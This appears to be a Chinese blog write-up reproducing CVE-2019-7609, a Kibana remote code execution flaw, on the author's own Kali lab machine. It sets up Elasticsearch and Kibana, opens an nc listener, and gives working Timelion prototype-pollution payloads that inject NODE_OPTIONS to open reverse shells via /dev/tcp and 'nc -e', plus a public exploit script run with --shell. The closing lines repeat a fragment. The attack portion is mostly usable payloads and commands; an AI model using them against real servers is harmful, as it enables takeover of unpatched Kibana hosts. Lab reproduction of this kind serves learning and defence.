CVE-2019-7609:Kibana远程代码执行漏洞复现
声明
好好学习,天天向上
漏洞描述
Kibana 是为 Elasticsearch设计的开源分析和可视化平台。你可以使用 Kibana 来搜索,查看存储在 Elasticsearch 索引中的数据并与之交互。你可以很容易实现高级的数据分析和可视化,以图标的形式展现出来。
攻击者利用漏洞可以通过Timelion组件中的JavaScript原型链污染攻击,向Kibana发起相关请求,从而接管所在服务器,在服务器上执行任意命令。
影响范围
Kibana < 6.6.1
Kibana < 5.6.15
复现过程
先要安装ELK环境,我是做过ELK开发,所以很熟悉,我们这里只用到kibana和es,logstash的话不搭建也不影响漏洞复现
ELK以来jdk环境,可以搭建一套1.8的
es搭建坑很多,es不能用root启,启一次,事情就很多,我们需要创建一个非root的用户,然后创建一个文件夹专门修改属主和属组,工这个用户使用,创建用户和文件权限, 多看看老男孩吧,并且内存不要太低我用的4个G的内存
我由于条件有限,就把环境搭建在kali上了,所以我是自己攻击自己了
攻击机:192.168.239.139
靶机:192.168.239.139
es端口:9200
kibana端口:5601
反弹shell端口:6666
准备好用户和文件权限后
下载安装es,觉得慢的,在浏览器里访问链接下载吧
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz
安装
tar -zxvf elasticsearch-6.5.3.tar.gz
启动,这里是报错最多的,想当年我还做开发的时候,N多错误都是这里的,不过搜一搜报错信息,应该都能解决
cd elasticsearch-6.5.3
./bin/elasticsearch
浏览器访问
http://localhost:9200/
you know for search
下载安装kibana,觉得慢的,在浏览器里访问链接下载吧(和es步骤基本一样,最好和es装一台机器上,我们以复现漏洞为主)
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz
安装
tar –zxvf kibana-6.5.3-linux-x86_64.tar.gz
启动,这里是报错最多的,想当年我还做开发的时候,N多错误都是这里的,不过搜一搜报错信息,应该都能解决
cd kibana-6.5.3-linux-x86_64
./bin/kibana
浏览器访问(稍等一会)
http://localhost:5601/
kali监听6666
nc -lvvp 6666
漏洞点在Timelion处(名字和Timeline有点像)
直接填入Poc(两个),过程和结果如图:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.239.139/6666 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("nc -e /bin/sh 192.168.239.139 6666");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
点击run后,也没反弹
根本某反应,后背出汗?
用脚本吧
https://github.com/LandGrey/CVE-2019-7609
python2
python CVE-2019-7609-kibana-rce.py -u 127.0.0.1:5601 -host 192.168.239.139 -port 6666 --shell
执行完命令后,再看监听6666端口处,拿下
port 6666 --shell
执行完命令后,再看监听6666端口处,拿下